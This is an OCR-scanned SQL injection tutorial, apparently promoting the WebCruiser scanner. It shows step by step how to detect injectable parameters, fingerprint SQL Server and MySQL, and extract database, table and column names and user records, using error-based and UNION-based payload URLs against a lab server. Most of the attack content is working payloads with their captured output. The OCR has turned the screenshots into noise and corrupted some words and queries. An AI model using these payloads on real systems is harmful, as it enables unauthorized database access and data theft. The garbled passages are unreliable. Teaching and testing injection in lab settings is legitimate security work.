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SQL Injection Tutorial

1 What is SQL Injection

SQL injection is a code injection technique that exploits a security vulnerability occurring
in the database layer of an application.

The vulnerability is present when user input is either incorrectly filtered for string literal
escape characters embedded in SQL statements or user input is not strongly typed and
thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities
that can occur whenever one programming or scripting language is embedded inside
another. SQL Injection is one of the most common application layer attack techniques

used today.

2 SQL Injection Tutorial

If you have no pages with SQL Injection vulnerability for test, please built one of your own
according to chapter 31 Build Typical Test Environment.

Here let® begin our SQL Injection Tutorial.
2.1 Get Environment Information

Examplel: http://192.168.254.21:79/sql.asp?uid=1
Example 2http://192.168.2521/mysgl.php?username=bob

You can get it irchapter 317 Build Typical Test Environment.
2.1.1 Injectable olNot?

Example 1:
(2)Normal Request and named Response0 for the result:

http://192.168.254.21:79/sql.asp?uid=1
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(:? Test — ¥Windows Intermet Ezplorer

8 5)x) [0 v s ][

uid username Description

1 root administrator

(2) Add true condition (1=1) and named Responsel for the result:

http://192.168.254.21:79/sqgl.asp?uid=1 and 1=1

(::' Jezt — ¥indows Internet Explorer

uid username Description

1 root administrator

(3) Add false condition (1=2) and named Response2 for the result:

http://192.168.254.21:79/sql.asp?uid=1 and 1=2

(::' Jezt — ¥indows Internet Explorer

aspTuid=1 and 1=

'i':f WS | I{éTest | |

No Eecord!

Usually, if

Responsel=Response0

And Responsel! = Response2,

It means there is SQL Injection vulnerability.

Example 2:
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ResponseO:

http://192.168.254.21/mysql.php?username=bob

{= http://192. 168. 254. 21/mysql. php?username=hob — Windows Internet Explorer |T||E||'§|

1S 4 21 nyegl plgtuzernanc=bon I 2l

‘1':? W3 | ":éhttpifflgz. 168, 254, 21 fmy=ql. phpTusername=hob | |

Username: baok
Description:smart boy
TestOK!L

Responsel:

/= http://192. 168. 264. 21/mysql- php?username=bob and 1=1 - ¥indows Intern... [ |[B]|fX]

Ty R |(Ehttp:mgz.158.254.21,fmysq1.php?usemame:... | |

Mo Eecord!

Responsel is not equal to Response0, notice that bob is a string, not an integer, so try:

Responsel:

http://192.168.254.21/mysql.php?username=bob' and '1'='1

{Z http://192. 168. 254_ 21/mysql. php?username=bob’ and *1°="1 - Windows Inte... [ |[0|[%]

tp /192, 168, 254 21 /my=gl. phpPusername=bob’ and ' 1’ = LG AIRE P4 ol

i W |{Ehup:ﬁ192.158.254.21/mysq1.php'?username:... | |

Username: bok
Description:smart boy
TestOE!

Now Responsel is equal to Response0, continue:

ResponseZ2:

http://192.168.254.21/mysql.php?username=bob' and '1'="2
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{Z http://192. 168. 254_ 21/aysql. php?username=bob’ and *1°="2 - Windows Inte... [ |[0|[%]

%)X [P o (BT

and "1°="2

hp?username=hob’

//132. 168, 254 21 /mysgl.

Go- o mm

o WA € http: /192, 168, 254, 21 /my=zql. phpTusername=. . .

Mo Record!

Responsel=Response0
And Responsel! = Response2,
It means there is SQL Injection vulnerability.

In some cases, even the parameter is an integer, it need a single quote to match the SQL

sentence.
2.1.2 GetSQL Injection KeyWord

SQL Injection Keyword is a word or phrase that only occurred in Responsel but not

occurred in Response2. SQL Injection Keyword used by SQL Injection Scanners, for

example WebCruiser Web Vulnerability Scanner (http:/sec4app.com/ ).

* ¥ebCruiser — ¥eb Yulnerability Scanner Enterprize Edition

File Tools ¥iew Configuration Help

R lj H |ﬂBrowser l;‘ScaImer |§SQL |®XSS ||:_IﬂResend Cookie |Eﬂgﬁeport |@Setting | I;lScan Site ||;|Scan 1EL |
URL: | http://192. 188 254, 21:79/sql. asp?ui d=1 | sET - oo
¥ WebBrowser Datafiazse: SHLSerwver = |Kepford:|username Injection Type: Integer T | Keset
5 HebB
Valnershili tySean 7 - - — = —
= @ FOC (Froof Of Cone I'H'IEl""'l1"7'1"4’"'31“-| ﬂ DataFaze Command ﬁ Filelploader [ StringEncode | 487 Debug
@ SAL Injection Environment Value

@ Cro-ss.Site Scr. D Version
&4 Administration 3

= @ SystemTool O server
7 EesendTool [ HiRoot
E,] CooleieTanl D il

| CodeTonl [ 1shdnin
‘ﬂa StringTool |:| Database
@ Settings |:| Za_PasswordHash
- Eﬂg Eeport
@ About
s ]
F3 5 | Get Enviromment Infomation I

HITF Thread: O

Done

In example 1 and example 2, the keyword may be username, Description etc.
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In the following SQL Injection process, if Responsel include the keyword but Response2

not, we can judge that the responsel using a true condition.

2.1.3 Get Databaseype

Sometimes, you can simply get the database type by add a single quote to produce an
error:

http://192.168.254.21:79/sql.asp?uid=1'

{f' http://192. 168. 254. 21:79/=ql. asp?uid=1" — Windows Internet Explorer |Z||E|E|

Qo o mum s e % 5

T MR | @ heep//192. 168, 254. 21: 79/ sql. aspPuid=l’

el
Microsoft OLE DB Provider for|SQL Server |error ‘80040814’ 1
Unclosed quotation mark before the character string ~.
/sgl.asp. line B

| £

http://192.168.254.21/mysql.php?username=bob'

tflhttp:,h'lg&lﬁﬂ. 254 21/my=ql. php?username=bob” — Windows Internet Ezplorer |:||E|g|

@.\___,v |§‘| _ 165, 254, 21, || [#2 || 2| | 5 el

e WA € http: /192, 168. 254, 21 /mysql. phpPusername=. . .

hp?username=hob’

Frror: You have an error in your SHL syntax; check the manual that corresponds to
yvourl Mv3QL lserver version for the right syntax to use near *“hob’ ™' at line 1

But usually, you need use database specified syntax to get the type, it becomes complex.

Or you can use a SQL Injection Scanner to do it.
In example 1, try to get database name by:

http://192.168.254.21:79/sql.asp?uid=1 and db_name()>0
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SQL Injection Tutorial

{E http://192. 168. 254 21:79/5ql- asp?uid=1 and db_name()>0 — Windows Intern... [ |[0|[%]

G- el wmmme SO 5

e WA € http: /192, 168,254, 21:T9/5ql. aspPuid=l an.. .

Microsoft OLE DB Provider for SAL Server error ‘80040207

Syntax error converting the nvarchar valuetu a column of data type int.

/sgl.asp, line 6

db_name() is a function of SQL Server, but not include in MySQL,

http://192.168.254.21/mysql.php?username=bob'and db_name()>0 and '1'="1

ﬂ:' http://192. 168. 254. 21 /may=ql. php?username=bob” and db_name{}>0 and *1°="1 - ¥Windows ... |:||E|rz|

@.\:}.v el 192. 158, 254, 21 IS |2

‘i_'::[’ L6 @ http:,/f182. 166 254 21 fmysql. phpPusername=. .

Error: FUNCTION test. db_name does not exist

Try:

http://192.168.254.21/mysql.php?username=bob' and (select length(user()))>0 and '1'="1

6:' http://192. 168. 254. 21/may=ql. php?username—bob” and (select lengthi{user()))>0 and "1°="1 — ¥Windo... |T||E|r>_<|

Go- & mmsw v 4)lx -

ip WK | @ htip: /7192 168, 254, 21 fmysql. phpPusernames. .

Uszername :kob
Description:smart boy
TestOK!

Because (select length(user())) is valid in MySQL, so we can guess it is using MySQL.

2.1.4 Method of Getting Data

There are many methods to getting data in SQL Injection, but not all these methods are
supported in an actual penetration test.

These methods include:

(@]}

Plain text error (To produce an error and get information from the error message);

(@]}

Union replace (Using null union select column from table to replace the response);

(@}

Blind SQL Injection (Using ASCII comparison when no error message response);

(@}

Cross-site SQL Injection (To send the information to a third site);
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O Time delay (To produce time-consuming SQL sentence and get information from
the response time).
In example 1, response of
http://192.168.254.21:79/sql.asp?uid=1 and db_name()>0

include the database name ftestq so you can get data by plain text error.

{Z http://192. 168. 254. 21:79/sql. asp?uid=1 and db_name()>0 - Windows Intern... [= [B)[X]

A & 192. 165, 254. 21 v|[ 42| x £

T W | @ heap://192 168, 254.21:T9/sql. aspPuid=l an...

Microsoft OLE DB Provider for SAL Server error ‘80040207
Syntax error converting the nvarchar valueto a column of data type int.

/sql.asp. line B

In example 2, response of
http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select
char(65,65,65),1%23

include MAAO(char(65,65,65)), so you can get data by Union replace.

{Z http://192. 168. 254. 21/aysql. php?usernane=bob%27 and 1=2 union all select char (65,65, 65),1%23 - ¥i... [C |[E]K]

o WEER | @ hurp://192. 160, 254, 21 /mysal. phpPusernane=. ..

Username {544 )

Description:l

TestOE!

2.2 Get Data by SQL Injection

2.2.1 Get Dabase Name

Example 1:
Get Current Database:

http://192.168.254.21:79/sqgl.asp?uid=1 and db_name()>0
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{E http://192. 168. 254 21:79/5ql- asp?uid=1 and db_name()>0 — Windows Intern... [ |[0|[%]

@T\;};v |g, 192 168, 254 21 HIrIE™ ol

o R |':éhttp:ff192.158.254.21:7‘3]5q1.asp'?uidzl erai | |

Microsoft OLE DB Provider for SQAL Server error 30040207
Syntax error converting the nvarchar valuetu a column of data type int.

/sgl.asp, line 6

Get All Databases:

Get Database Number: 10

http://192.168.254.21:79/sql.asp?uid=1 and
(char(65)%2Bchar(65)%2Bchar(65)%2B(cast((select count(1) from

[master]..[sysdatabases]) as varchar(8))))>0

4:' http://192. 168. 254. 21: 19/ =ql. asp?uid=1 and (char (65)%2Bchar (65)%2Bchar (65)%2B (cast ((sel... |

' + 5 -
5::.' &) 192. 168, 254. 21 v [+2|[x] [2 |2
T YT |'_réhttpiffr192. 168. 254. 21:79/sql. asp?uid=1 am. .. | |
A
Microsoft OLE DB Provider for SQL Server error '80040=07
Syntax error converting the varchar value '/AAA10 to a column of data type int.
/sgl.asp, line 6 =
sql.asp. line a

Get each database name: master, tempdb, etc. by changing the value of dbid.
http://192.168.254.21:79/sql.asp?uid=1 and
(char(65)%2Bchar(65)%2Bchar(65)%2B(select name from [master]..[sysdatabases]
where dbid=1))>0

http://192.168.254.21:79/sql.asp?uid=1 and
(char(65)%2Bchar(65)%2Bchar(65)%2B(select name from [master]..[sysdatabases]

where dbid=2))>0

{2 http://192. 168. 254. 21: 79/ sql. asp?uid=1 and (char (65)%2Bchar (65)%2Bchar (65)%25 (select na... (B8]

where dbid=1)15] v| 42| > | jel

T WIREIE |_@hup:mgz. 168, 254, 21:79/5ql. aspPuid=l an .. | |

>

Microsoft OLE DB Provider for SQAL Server error 8004007
Syntax error converting the nvarchar value ‘AAAmaster to a column of data type int.

/sql.asp, line 6

|=

Example 2:
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Get Current Database:

http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select

database(),1 %23

{2 http://192. 168. 254. 21 /aysql. php?usernane=bob%27 and 1-2 union all select database(),1 %23 - ¥i... [o|[B|KX]

=L | it tp: /190
G- [en

P = |_féhup:,f,flgz.158.254.21fmysq1.php?usemame:... | |

Username
Description:

TestOE!

Get All Databases:

Get databases number: 18
http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select
concat(char(65,65,65),cast((select count(SCHEMA_NAME) from

information_schema.SCHEMATA) as char)),1 %23

{2 http://192. 168. 254. 21/aysql. php?usernanc=bob%27 and 1=2 union all select ... [= |[B[X]

S WA |{éhup:f/192.158.254.21,fmysq1.php?username:... | |

Username : ALALE
Description:l
Test0OE!L

Get each database:

http://192.168.254.21/mysql.php?username=bob%?27 and 1=2 union all select
SCHEMA NAME,1 from information_schema.SCHEMATA limit 0,1%23
http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select

SCHEMA NAME,1 from information_schema.SCHEMATA limit 17,1%23

{Z http://192. 168. 254. 21/mysql. php?usernanc=bob%27 and 1=2 union all select ... [= |[0X]

@@v e 192. 168, 254, 71 v |[#4][ % 2|-

‘i’:? Wirge 3 | @ http: /192, 165. 254, 21/my=ql. phpPuzername=. . . | |

Username:information_schema
Description:l
TestOE!
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2.2.2 Get Table Name

Example 1:
Get Table Number: 6
http://192.168.254.21:79/sql.asp?uid=1 and

char(65)%2Bchar(65)%2Bchar(65)%2B(cast((select count(1) from [Test]..[sysobjects]

where xtype=0x55) as varchar(8)))>0

{Z http://192. 168. 254. 21: T9/sql. asp?uid=1 and char (65)%2Bchar (65)%2Bchar (65). . - (2 |[B][X]

m; - |E, t ((select count (1) from [Test]. . [sysobjects] where nty nE:EI:-:E V| "' oy _;fhf Live Search L2~

T WIEE |ﬁhupzﬁlgz.158.254.21:79[;@.asp?uid:l an. .. | |

Eas
Microsoft OLE DB Provider for SQL Server error 8004007 il
Syntax error converting the varchar value '"AAAR to a column of data type int.
! 1 =
/sgl.asp, line 6 3

Get each table:

http://192.168.254.21:79/sql.asp?uid=1 and (selecttop 1 name from(Selecttop 1
id,name from [Test]..[sysobjects] where xtype=0x55 order by id) T order by id desc)>0
é

http://192.168.254.21:79/sgl.asp?uid=1 and (selecttop 1 name from(Select top 4

id,name from [Test]..[sysobjects] where xtype=0x55 order by id) T order by id desc)>0

{2 http://192. 168. 254. 21: T9/sql. asp?uid=] and (select top 1 name from(Sele...[C |[B][X]

m; - |E, http: /192 168, 254, 21 79/ =0l aspfuid=1 and [=elect top 1 mar V| "' oy _;fhf Live Search L2~

T Wi |ﬁhupzﬁlgz.158.254.21:79[;@.asp?uid:l an. .. | |

Eas
Microsoft OLE DB Provider for SQL Server error 8004007 il
Syntax error converting the nvarchar value t1" to a column of data type int.
! 1 =
/sgl.asp, line 6 3

Example 2:

Get Table Number: 5

http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select
concat(char(65,65,65),cast((select count(TABLE_NAME) from

information_schema.tables where TABLE_ SCHEMA=char(116,101,115,116)) as
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char)),1 %23

{Z http://192. 168. 254. 21/mysql. php?usernanc=bob%27 and 1=2 union all select ... [ |[B]X]

@;;v el 192, 168. 254. 21 | [+ % o~

‘i’:? T e | @ http: ff192. 163, 254. 21 /m¥=ql. phpTuzername=. . . | |

Username : AAAS
Description:l
TestOE!

Get each table:
http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select
TABLE_NAME,1 from information_schema.tables where

TABLE_SCHEMA=char(116,101,115,116) limit 2,1%23

{Z http://192. 168. 254. 21/mysql. php?usernanc=bob%27 and 1=2 union all select ... [= |[0X]

@_';“' el 192. 168, 254. 21 v |[#4][ % 2|-

‘i’:? Wirge 3 | @ http: /192, 165. 254, 21/my=ql. phpPuzername=. . . | |

Username:tl
Description:l
TestOE!

2.2.3 Get Column Name

Example 1,

Get Column Number of table 416 3
http://192.168.254.21:79/sql.asp?uid=1 and
char(65)%2Bchar(65)%2Bchar(65)%2B(cast((select count(1) from

[Test].information_schema.columns where table_name=0x74003100) as varchar(8)))>0

{Z http://192. 168. 254. 21: T9/sql. asp?uid=1 and char (65)%2Bchar (65)%2Bchar (65). . - (2 |[B][X]

T Wi |{éhupzﬁlez.158.254.21:79!;:11.asp?uid:l am. .. | |

| >

Microsoft OLE DB Provider for SQAL Server error 80040207
Syntax error converting the varchar value ‘AAAZ to a column of data type int.

/sgl.asp, line 6

=
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Get each column:
http://192.168.254.21:79/sgl.asp?uid=1 and (select top 1 column_name from
[Test].information_schema.columns where table_name=0x74003100 and

ordinal_position=1)>0

ﬂ? http://192. 168. 254. 21: 79/ =ql. asp?uid=1 and (select top 1 column name fr... |Z||§||zl

B~ [ o mma ) [ o

S WA |"_',éhttp:ffl‘az.158.254.21:79[5q1.asp'?uidZI exit | |

.
Microsoft OLE DB Provider for SQL Server error 8004007 il
Syntax error converting the nvarchar value ‘uid to a column of data type int.
! 1 =—
/sgl.asp, line 6 a

http://192.168.254.21:79/sql.asp?uid=1 and (select top 1 column_name from
[Test].information_schema.columns where table_name=0x74003100 and
ordinal_position=2)>0

X

(C:' http://192. 168. 254. 21:T9/=ql. asp?uid=1 and (select top 1 column name Ffr... |T||E

@12"' el 192. 168, 254. 21 v |[#4][ % 2|-

T e |{'&hup;mez.158.254.21:T9fsq1.asp?uid=1 am. .. | |

e
Microsoft OLE DB Provider for SQL Server error 8004007 D
Syntax error converting the nvarchar value ‘username’ to a column of data type int.
l'l H _
/sgl.asp, line B 4

Example 2:

Get column number: 2

http://192.168.254.21/mysql.php?username=bob%?27 and 1=2 union all select
concat(char(65,65,65),cast((select count(COLUMN_NAME) from
information_schema.COLUMNS where TABLE_SCHEMA=char(116,101,115,116) and

TABLE_NAME=char(116,49)) as char)),1 %23
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{2 http://192. 168. 254. 21/aysql. php?usernanc=bob%27 and 1=2 union all select ... [= |[B[X]

S WA |{éhup:f/192.158.254.21,fmysq1.php?username:... | |

Username: ALAZ
Description:l
Test0OE!L

Get each column:
http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select
COLUMN_NAME,1 from information_schema.COLUMNS where

TABLE_SCHEMA=char(116,101,115,116) and TABLE_NAME=char(116,49) limit 0,1%23

{2 http://192. 168. 254. 21/aysql. php?usernanc=bob%27 and 1=2 union all select ... [= |[B[X]

S WA |{éhup:f/192.158.254.21,fmysq1.php?username:... | |

Username ;user
Description:l
Test0OE!L

2.2.4 Get Data Record

Example 1,

http://192.168.254.21:79/sql.asp?uid=1 and (select top 1 isnull(cast([username] as
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([uid] as
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([des] as nvarchar(4000)),char(32))
from (select top 1 [username],[uid],[des] from [Test]..[t1] order by [username]) T order by

[username] desc)>0

{= http://192. 168. 254. 21:T9/sql. asp?uid=1 and (select top 1 isnull{cast ([use... |:||§”E|

T Wi |{éhupzﬁlez.158.254.21:79!;:11.asp?uid:l am. .. | |

| >

Microsoft OLE DB Provider for SQL Server error 8004007
Syntax error converting the nvarchar value ‘guest*2*ancnymous’ to a column of data type int.

/sgl.asp, line 6

=
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http://192.168.254.21:79/sql.asp?uid=1 and (selecttop 1 isnull(cast([username] as
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([uid] as
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([des] as nvarchar(4000)),char(32))
from (select top 2 [username],[uid],[des] from [Test]..[t1] order by [username]) T order by

[username] desc)>0

Example 2:
http://192.168.254.21/mysql.php?username=bob%27 and 1=2 union all select
concat_ws(char(94),ifnull(cast("user" as char),char(32)),ifnull(cast('des” as

char),char(32))),1 from test.tl limit 4,1%23

2.3 SQL Injection Tool

This SQL Injection Tutoriaflescribesiow to use SQL Injection manually, but iffiefficient step
by step. An automatic SQL Injection Scanner and SQL Injection drepreferred WebQuiser

Web Vulnerability Scannds such an effective penetration testing tool for you.






















